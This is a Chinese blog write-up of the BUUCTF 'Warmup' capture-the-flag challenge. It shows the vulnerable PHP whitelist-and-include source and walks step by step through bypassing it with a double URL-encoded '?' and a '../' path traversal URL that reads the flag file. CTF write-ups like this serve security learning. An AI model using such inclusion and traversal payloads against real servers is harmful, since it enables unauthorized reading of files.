BUUCTF——Warmup

原创

一只小白来了 于 2020-04-30 10:42:39 发布 509 收藏 1

分类专栏： CTF

本文链接：https://blog.csdn.net/weixin_44866139/article/details/105455828

Warmup

不安全 | view-source:aeed8688-0691-4161-b6f7-2bc32b98db3c.node3.buuoj.cn

应用 合天网安实验室-国... 中国大学MOOC(慕... FreeBuf互联网安全... 墨者学院_专注于网... DOM探索之基础详... 大佬博客 github CTF

```
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Document</title>
</head>
<body>
    <!--source.php-->

    <br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body>
</html>
```


不安全 | aeed8688-0691-4161-b6f7-2bc32b98db3c.node3.buuoj.cn/source.php

应用 合天网安实验室-国... 中国大学MOOC(慕... FreeBuf互联网安全... 墨者学院_专注于网... DOM探索之基础详... 大佬博客 github CTF

```
<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
```

```php
<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(//mb_substr() 函数返回字符串的一部分，之前我们学过 substr() 函数，它只针对英文字符，如果要分割的中文文字则需要使用 mb_substr()。
                $page,
                0,
                mb_strpos($page . '?', '?')//mb_strpos()：返回要查找的字符串在别一个字符串中首次出现的位置
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];//想办法执行这个包含函数
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }
?>
```

绕过第一个函数检查：

$whitelist = [“source”=>“source.php”,“hint”=>“hint.php”];

page参数包含有这两个文件中的任意一个

http://111.198.29.45:59377/?file=hint.php

绕过第二个函数检查：向php页面中传入参数

http://111.198.29.45:59377/?file=hint.php?

绕过第三个函数检查：两次url编码

http://111.198.29.45:59377/?file=hint.php%253f

之后访问提示文件

```
http://aeed8688-0691-4161-b6f7-2bc32b98db3c.node3.buuoj.cn/?file=hint.php%253F/../../../../fffflllllaaaagggg
```

flag{5235a0fe-b031-4f2d-8c14-c216a4fea596}

tips:include函数有这么一个神奇的功能：以字符'/'分隔（而且不计个数），若是在前面的字符串所代表的文件无法被PHP找到，则PHP会自动包含'/'后面的文件——注意是最后一个'/'。

这里的fffflllllaaaagggg是在hint.php中发现的，显然flag在这个文件里。其实文件名提示了我们要使用四层目录，这里比较坑。